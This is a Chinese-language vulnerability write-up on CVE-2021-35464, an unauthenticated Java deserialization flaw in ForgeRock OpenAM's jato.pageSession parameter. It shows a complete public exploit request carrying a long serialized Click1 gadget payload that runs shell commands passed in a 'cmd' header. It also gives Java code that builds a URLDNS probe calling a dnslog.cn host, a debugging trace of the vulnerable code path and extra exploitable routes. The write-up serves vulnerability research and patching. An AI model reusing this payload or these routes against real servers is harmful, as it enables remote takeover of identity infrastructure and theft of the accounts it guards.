ForgeRock OpenAM CVE-2021-35464漏洞分析

背景

OpenAM是一個開源訪問管理，授權和聯合服務器平台。它由ForgeRock贊助，直到2016年。現在，它受到開放式身份平台社區的支持。OpenAM起源於OpenSSO，這是一種由Sun Microsystems創建的訪問管理系統，現在歸Oracle公司所有。OpenAM是在Oracle購買Sun之後啟動的一個分支。

漏洞介绍

*漏洞影响范围: *

• Forge Rock >= 5.0.0 < 6.5.3
• Forge Rock OpenAM >= 9.0.0 < 14.6.3

漏洞描述:

ForgeRock AM 多个页面的jato.pageSessions参数中存在反序列化漏洞，该漏洞无需身份验证，通过向服务器发送序列化Payload触发Click1 Gadget即可执行任意代码。

已公开Exp:

POST /OpenAM/ccversion/Version HTTP/1.1
Host: php.local:8081
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 10559
cmd:dir

jato.pageSession=AKztAAVzcgAXamF2YS51dGlsLlByaW9yaXR5UXVldWWU2jC0-z-CsQMAAkkABHNpemVMAApjb21wYXJhdG9ydAAWTGphdmEvdXRpbC9Db21wYXJhdG9yO3hwAAAAAnNyADBvcmcuYXBhY2hlLmNsaWNrLmNvbnRyb2wuQ29sdW1uJENvbHVtbkNvbXBhcmF0b3IAAAAAAAAAAQIAAkkADWFzY2VuZGluZ1NvcnRMAAZjb2x1bW50ACFMb3JnL2FwYWNoZS9jbGljay9jb250cm9sL0NvbHVtbjt4cAAAAAFzcgAfb3JnLmFwYWNoZS5jbGljay5jb250cm9sLkNvbHVtbgAAAAAAAAABAgATWgAIYXV0b2xpbmtaAAplc2NhcGVIdG1sSQAJbWF4TGVuZ3RoTAAKYXR0cmlidXRlc3QAD0xqYXZhL3V0aWwvTWFwO0wACmNvbXBhcmF0b3JxAH4AAUwACWRhdGFDbGFzc3QAEkxqYXZhL2xhbmcvU3RyaW5nO0wACmRhdGFTdHlsZXNxAH4AB0wACWRlY29yYXRvcnQAJExvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvRGVjb3JhdG9yO0wABmZvcm1hdHEAfgAITAALaGVhZGVyQ2xhc3NxAH4ACEwADGhlYWRlclN0eWxlc3EAfgAHTAALaGVhZGVyVGl0bGVxAH4ACEwADW1lc3NhZ2VGb3JtYXR0ABlMamF2YS90ZXh0L01lc3NhZ2VGb3JtYXQ7TAAEbmFtZXEAfgAITAAIcmVuZGVySWR0ABNMamF2YS9sYW5nL0Jvb2xlYW47TAAIc29ydGFibGVxAH4AC0wABXRhYmxldAAgTG9yZy9hcGFjaGUvY2xpY2svY29udHJvbC9UYWJsZTtMAA10aXRsZVByb3BlcnR5cQB-AAhMAAV3aWR0aHEAfgAIeHAAAQAAAABwcHBwcHBwcHBwdAAQb3V0cHV0UHJvcGVydGllc3Bwc3IAHm9yZy5hcGFjaGUuY2xpY2suY29udHJvbC5UYWJsZQAAAAAAAAABAgAXSQAOYmFubmVyUG9zaXRpb25aAAlob3ZlclJvd3NaABdudWxsaWZ5Um93TGlzdE9uRGVzdHJveUkACnBhZ2VOdW1iZXJJAAhwYWdlU2l6ZUkAE3BhZ2luYXRvckF0dGFjaG1lbnRaAAhyZW5kZXJJZEkACHJvd0NvdW50WgAKc2hvd0Jhbm5lcloACHNvcnRhYmxlWgAGc29ydGVkWgAPc29ydGVkQXNjZW5kaW5nTAAHY2FwdGlvbnEAfgAITAAKY29sdW1uTGlzdHQAEExqYXZhL3V0aWwvTGlzdDtMAAdjb2x1bW5zcQB-AAdMAAtjb250cm9sTGlua3QAJUxvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvQWN0aW9uTGluaztMAAtjb250cm9sTGlzdHEAfgAQTAAMZGF0YVByb3ZpZGVydAAsTG9yZy9hcGFjaGUvY2xpY2svZGF0YXByb3ZpZGVyL0RhdGFQcm92aWRlcjtMAAZoZWlnaHRxAH4ACEwACXBhZ2luYXRvcnQAJUxvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvUmVuZGVyYWJsZTtMAAdyb3dMaXN0cQB-ABBMAAxzb3J0ZWRDb2x1bW5xAH4ACEwABXdpZHRocQB-AAh4cgAob3JnLmFwYWNoZS5jbGljay5jb250cm9sLkFic3RyYWN0Q29udHJvbAAAAAAAAAABAgAJTAAOYWN0aW9uTGlzdGVuZXJ0ACFMb3JnL2FwYWNoZS9jbGljay9BY3Rpb25MaXN0ZW5lcjtMAAphdHRyaWJ1dGVzcQB-AAdMAAliZWhhdmlvcnN0AA9MamF2YS91dGlsL1NldDtMAAxoZWFkRWxlbWVudHNxAH4AEEwACGxpc3RlbmVydAASTGphdmEvbGFuZy9PYmplY3Q7TAAObGlzdGVuZXJNZXRob2RxAH4ACEwABG5hbWVxAH4ACEwABnBhcmVudHEAfgAXTAAGc3R5bGVzcQB-AAd4cHBwcHBwcHBwcAAAAAIAAQAAAAAAAAAAAAAAAQAAAAAAAAAAAXBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHhwcHBwcHBwcHBwdwQAAAADc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0_BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAITAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA_____3VyAANbW0JL_RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF_gGCFTgAgAAeHAAABRfyv66vgAAADQBBgoARgCKCgCLAIwKAIsAjQoAHQCOCAB7CgAbAI8KAJAAkQoAkACSBwB8CgCLAJMIAJQKACAAlQgAlggAlwcAmAgAmQgAWQcAmgoAGwCbCACcCABxBwCdCwAWAJ4LABYAnwgAaAgAoAcAoQoAGwCiBwCjCgCkAKUIAKYHAKcIAKgKACAAqQgAqgkAJQCrBwCsCgAlAK0IAK4KAK8AsAoAIACxCACyCACzCAC0CAC1CAC2BwC3BwC4CgAwALkKADAAugoAuwC8CgAvAL0IAL4KAC8AvwoALwDACgAgAMEIAMIKABsAwwoAGwDECADFBwBlCgAbAMYIAMcHAMgIAMkIAMoHAMsKAEMAzAcAzQcAzgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy9Ub21jYXRFY2hvSW5qZWN0OwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwDPAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBACBMamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uOwEAA2NscwEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAEdmFyNQEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAGcmVzdWx0AQACW0IBAAlwcm9jZXNzb3IBABJMamF2YS9sYW5nL09iamVjdDsBAANyZXEBAARyZXNwAQABagEAAUkBAAF0AQASTGphdmEvbGFuZy9UaHJlYWQ7AQADc3RyAQASTGphdmEvbGFuZy9TdHJpbmc7AQADb2JqAQAKcHJvY2Vzc29ycwEAEExqYXZhL3V0aWwvTGlzdDsBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAFpAQAEZmxhZwEAAVoBAAVncm91cAEAF0xqYXZhL2xhbmcvVGhyZWFkR3JvdXA7AQABZgEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAd0aHJlYWRzAQATW0xqYXZhL2xhbmcvVGhyZWFkOwEADVN0YWNrTWFwVGFibGUHANAHANEHANIHAKcHAKMHAJoHAJ0HAGMHAMgHAMsBAApTb3VyY2VGaWxlAQAVVG9tY2F0RWNob0luamVjdC5qYXZhDABHAEgHANIMANMA1AwA1QDWDADXANgMANkA2gcA0QwA2wDcDADdAN4MAN8A4AEABGV4ZWMMAOEA4gEABGh0dHABAAZ0YXJnZXQBABJqYXZhL2xhbmcvUnVubmFibGUBAAZ0aGlzJDABAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24MAOMA2AEABmdsb2JhbAEADmphdmEvdXRpbC9MaXN0DADkAOUMAN0A5gEAC2dldFJlc3BvbnNlAQAPamF2YS9sYW5nL0NsYXNzDADnAOgBABBqYXZhL2xhbmcvT2JqZWN0BwDpDADqAOsBAAlnZXRIZWFkZXIBABBqYXZhL2xhbmcvU3RyaW5nAQADY21kDADsAO0BAAlzZXRTdGF0dXMMAO4AXwEAEWphdmEvbGFuZy9JbnRlZ2VyDABHAO8BAAdvcy5uYW1lBwDwDADxAPIMAPMA4AEABndpbmRvdwEAB2NtZC5leGUBAAIvYwEABy9iaW4vc2gBAAItYwEAEWphdmEvdXRpbC9TY2FubmVyAQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyDABHAPQMAPUA9gcA9wwA-AD5DABHAPoBAAJcQQwA-wD8DAD9AOAMAP4A_wEAJG9yZy5hcGFjaGUudG9tY2F0LnV0aWwuYnVmLkJ5dGVDaHVuawwBAAEBDAECAQMBAAhzZXRCeXRlcwwBBADoAQAHZG9Xcml0ZQEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24BABNqYXZhLm5pby5CeXRlQnVmZmVyAQAEd3JhcAEAE2phdmEvbGFuZy9FeGNlcHRpb24MAQUASAEAI3lzb3NlcmlhbC9wYXlsb2Fkcy9Ub21jYXRFY2hvSW5qZWN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAFWphdmEvbGFuZy9UaHJlYWRHcm91cAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEADmdldFRocmVhZEdyb3VwAQAZKClMamF2YS9sYW5nL1RocmVhZEdyb3VwOwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAHZ2V0TmFtZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBAA1nZXRTdXBlcmNsYXNzAQAEc2l6ZQEAAygpSQEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAdpc0VtcHR5AQADKClaAQAEVFlQRQEABChJKVYBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvTG93ZXJDYXNlAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEACGdldEJ5dGVzAQAEKClbQgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAEWdldERlY2xhcmVkTWV0aG9kAQAPcHJpbnRTdGFja1RyYWNlACEARQBGAAAAAAAEAAEARwBIAAEASQAAAC8AAQABAAAABSq3AAGxAAAAAgBKAAAABgABAAAAEQBLAAAADAABAAAABQBMAE0AAAABAE4ATwACAEkAAAA_AAAAAwAAAAGxAAAAAgBKAAAABgABAAAAYABLAAAAIAADAAAAAQBMAE0AAAAAAAEAUABRAAEAAAABAFIAUwACAFQAAAAEAAEAVQABAE4AVgACAEkAAABJAAAABAAAAAGxAAAAAgBKAAAABgABAAAAZgBLAAAAKgAEAAAAAQBMAE0AAAAAAAEAUABRAAEAAAABAFcAWAACAAAAAQBZAFoAAwBUAAAABAABAFUACABbAEgAAQBJAAAF7QAIABEAAAMDAzu4AAK2AANMAU0rtgAEEgW2AAZNLAS2AAcsK7YACMAACcAACU4DNgQVBC2-ogLNLRUEMjoFGQXHAAanArkZBbYACjoGGQYSC7YADJoADRkGEg22AAyaAAanApsZBbYABBIOtgAGTSwEtgAHLBkFtgAIOgcZB8EAD5oABqcCeBkHtgAEEhC2AAZNLAS2AAcsGQe2AAg6BxkHtgAEEhG2AAZNpwAWOggZB7YABLYAE7YAExIRtgAGTSwEtgAHLBkHtgAIOgcZB7YABLYAExIUtgAGTacAEDoIGQe2AAQSFLYABk0sBLYABywZB7YACDoHGQe2AAQSFbYABk0sBLYABywZB7YACMAAFsAAFjoIAzYJFQkZCLkAFwEAogHLGQgVCbkAGAIAOgoZCrYABBIZtgAGTSwEtgAHLBkKtgAIOgsZC7YABBIaA70AG7YAHBkLA70AHbYAHjoMGQu2AAQSHwS9ABtZAxIgU7YAHBkLBL0AHVkDEiFTtgAewAAgOgYZBsYBVxkGtgAimgFPGQy2AAQSIwS9ABtZA7IAJFO2ABwZDAS9AB1ZA7sAJVkRAMi3ACZTtgAeVxInuAAotgApEiq2AAyZABkGvQAgWQMSK1NZBBIsU1kFGQZTpwAWBr0AIFkDEi1TWQQSLlNZBRkGUzoNuwAvWbsAMFkZDbcAMbYAMrYAM7cANBI1tgA2tgA3tgA4Og4SObgAOjoPGQ-2ADs6BxkPEjwGvQAbWQMSPVNZBLIAJFNZBbIAJFO2AD4ZBwa9AB1ZAxkOU1kEuwAlWQO3ACZTWQW7ACVZGQ6-twAmU7YAHlcZDLYABBI_BL0AG1kDGQ9TtgAcGQwEvQAdWQMZB1O2AB5XpwBOOg8SQbgAOjoQGRASQgS9ABtZAxI9U7YAPhkQBL0AHVkDGQ5TtgAeOgcZDLYABBI_BL0AG1kDGRBTtgAcGQwEvQAdWQMZB1O2AB5XBDsamQAGpwAJhAkBp_4vGpkABqcAEacACDoFpwADhAQBp_0ypwAISyq2AESxAAgAlwCiAKUAEgDFANMA1gASAhUCiAKLAEAAMAA7Au8AQwA-AFkC7wBDAFwAfALvAEMAfwLpAu8AQwAAAvoC_QBDAAMASgAAAQYAQQAAABUAAgAWAAkAFwALABgAFQAaABoAGwAmABwAMAAeADYAHwA-ACAARQAhAFwAIgBnACMAbAAkAHQAJQB_ACYAigAnAI8AKACXACoAogAtAKUAKwCnACwAuAAuAL0ALwDFADEA0wA0ANYAMgDYADMA4wA1AOgANgDwADcA-wA4AQAAOQEOADoBHQA7ASgAPAEzAD0BOAA-AUAAPwFZAEABfwBBAYwAQgG3AEMB8gBEAhUARgIcAEcCIwBIAmYASQKIAE4CiwBKAo0ASwKUAEwCtABNAtYATwLYAFEC3wA6AuUAUwLsAFYC7wBUAvEAVQL0ABwC-gBaAv0AWAL-AFkDAgBbAEsAAADeABYApwARAFwAXQAIANgACwBcAF0ACAIcAGwAXgBfAA8ClABCAF4AXwAQAo0ASQBgAGEADwHyAOYAYgBjAA0CFQDDAGQAZQAOASgBtwBmAGcACgFAAZ8AaABnAAsBWQGGAGkAZwAMAREB1ABqAGsACQA2ArYAbABtAAUARQKnAG4AbwAGAHQCeABwAGcABwEOAd4AcQByAAgC8QADAFwAcwAFACkC0QB0AGsABAACAvgAdQB2AAAACQLxAHcAeAABAAsC7wB5AHoAAgAmAtQAewB8AAMC_gAEAFwAcwAAAH0AAACoABf_ACkABQEHAH4HAH8HAAkBAAD8ABQHAID8ABoHAIEC_AAiBwCCZQcAgxJdBwCDDP0ALQcAhAH-AMsHAIIHAIIHAIJSBwCF_wCaAA8BBwB-BwB_BwAJAQcAgAcAgQcAggcAhAEHAIIHAIIHAIIHAIUHAD0AAQcAhvsASvkAAfgABvoABf8ABgAFAQcAfgcAfwcACQEAAEIHAIcE_wAFAAAAAEIHAIcEAAEAiAAAAAIAiXVxAH4AJAAAAdjK_rq-AAAANAAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAA0ZvbwEADElubmVyQ2xhc3NlcwEAJUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbzsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHABoBACN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAEAAQAKAAsAAQAMAAAAMwABAAEAAAAFKrcAAbEAAAACAA0AAAAKAAIAAACUAAQAlQAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHNyABRqYXZhLm1hdGguQmlnSW50ZWdlcoz8nx-pO_sdAwAGSQAIYml0Q291bnRJAAliaXRMZW5ndGhJABNmaXJzdE5vbnplcm9CeXRlTnVtSQAMbG93ZXN0U2V0Qml0SQAGc2lnbnVtWwAJbWFnbml0dWRldAACW0J4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHD_______________7____-AAAAAXVxAH4AJAAAAAEBeHg$

环境搭建

下载14.6.2版本的war包搭建部署 Releases · OpenIdentityPlatform/OpenAM

环境说明:

• OpenJDK 11.9.0
• Tomcat8

远程调试配置:

IDEA中配置远程调试Host为服务器IP，将生成的命令行参数添加至 catalina.sh中并重启Tomcat服务器。

漏洞分析

根据 web.xml 中的配置可知/ccversion/*路由对应的类为 com.sun.identity.console.version.VersionServlet。

此时我们便可以找到 VersionServlet类进行断点调试的漏洞分析， 该类继承于 com.sun.web.ui.servlet.version.VersionServlet 而此类又继承自 TagServletBase 以及 ApplicationServletBase，这些类中只有 ApplicationServletBase 具备 doGet 和 doPost 方法，所以会调用到该类。

（图片摘自微信公众号: 且听安全）

ApplicationServletBase类位于jato的jar包下:

跟随断点来到 ApplicationServletBase#processRequest方法中，其会调用 getViewBeanInstance方法:

getViewBeanInstance方法中调用 requestContext.getViewBeanManager().getLocalViewBean 方法传入pageName变量，最终通过调用 ViewBeanManager#getViewBean方法获取 ViewBean实例对象（使用反射获取类的Class调用构造方法获得实例对象）。

回到 ApplicationServletBase#processRequest 方法中，在获取到 ViewBean后其会调用 dispatchRequest 方法。

再调用 invokeRequestHandler 方法:

该方法中第一行既调用 deserializePageAttributes 方法，在方法中获取 jato.pageSession参数，当参数值不等于null且长度大于0则调用 Encoder.decodeHttp64 进行解码后调用 Encoder.deserialize 进行反序列化，该方法内调用了Java原生的反序列化方法。

调试到这一步攻击路线已经很明了了，下一步就是构造gadget编码后发送Payload触发反序列化即可。漏洞作者中使用的是 Click1 这一gadget，这条利用链最后使用的是 TemplatesImpl类，所以可以执行任意代码，而 OpenAM 使用Tomcat作为中间件，所以可以参考 Java-Rce-Echo项目的代码进行反序列化回显命令执行的利用。

// 生成URLDNS链的Payload
import com.iplanet.jato.util.Encoder;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;


public class URLDNS {
    public static void main(String[]args)throws Exception{
        HashMap hashMap = new HashMap();
        URL url = new URL("http://6mfddb.dnslog.cn");
        Field field = Class.forName("java.net.URL").getDeclaredField("hashCode");
        // 反射获取私有属性设置此项
        field.setAccessible(true);
        // 避免调用HashMap.put时就发起请求
        field.set(url, 1);
        hashMap.put(url, "1");
        field.set(url, -1);
        // 序列化
        byte[] payload = Encoder.serialize((Serializable) hashMap, false);
        String stringPayload = Encoder.encode(payload);
        System.out.println(stringPayload);
    }
}

将 jato.pageSession参数的值设置为Payload即可触发反序列化发起DNS请求。

（由于服务器环境用的是OpenJDK11, 不存在sun.misc.BASE64Encoder/Decoder类所以报错了。）

VersionViewBean

在调用 ViewBeanManager#getViewBeanByClassName时，传入的参数拼接的包名为 com.sun.identity.console.version，而该包下还有 ButtonFrameViewBean、 MasthreadViewBean类，而这些类都继承自 com.iplanet.jato.view.ViewBeanBase类且无重写 invokeRequestHandler方法，所以最终都会调用到 com.iplanet.jato.view.ViewBeanBase#invokeRequestHandler方法，然后再调用 deserializePageAttributes 方法进行反序列化，因此使用如下路由同样可以利用。

http://host/ccversion/ButtonFrame?jato.pageSession=payload
http://host/ccversion/masthread?jato.pageSession=payload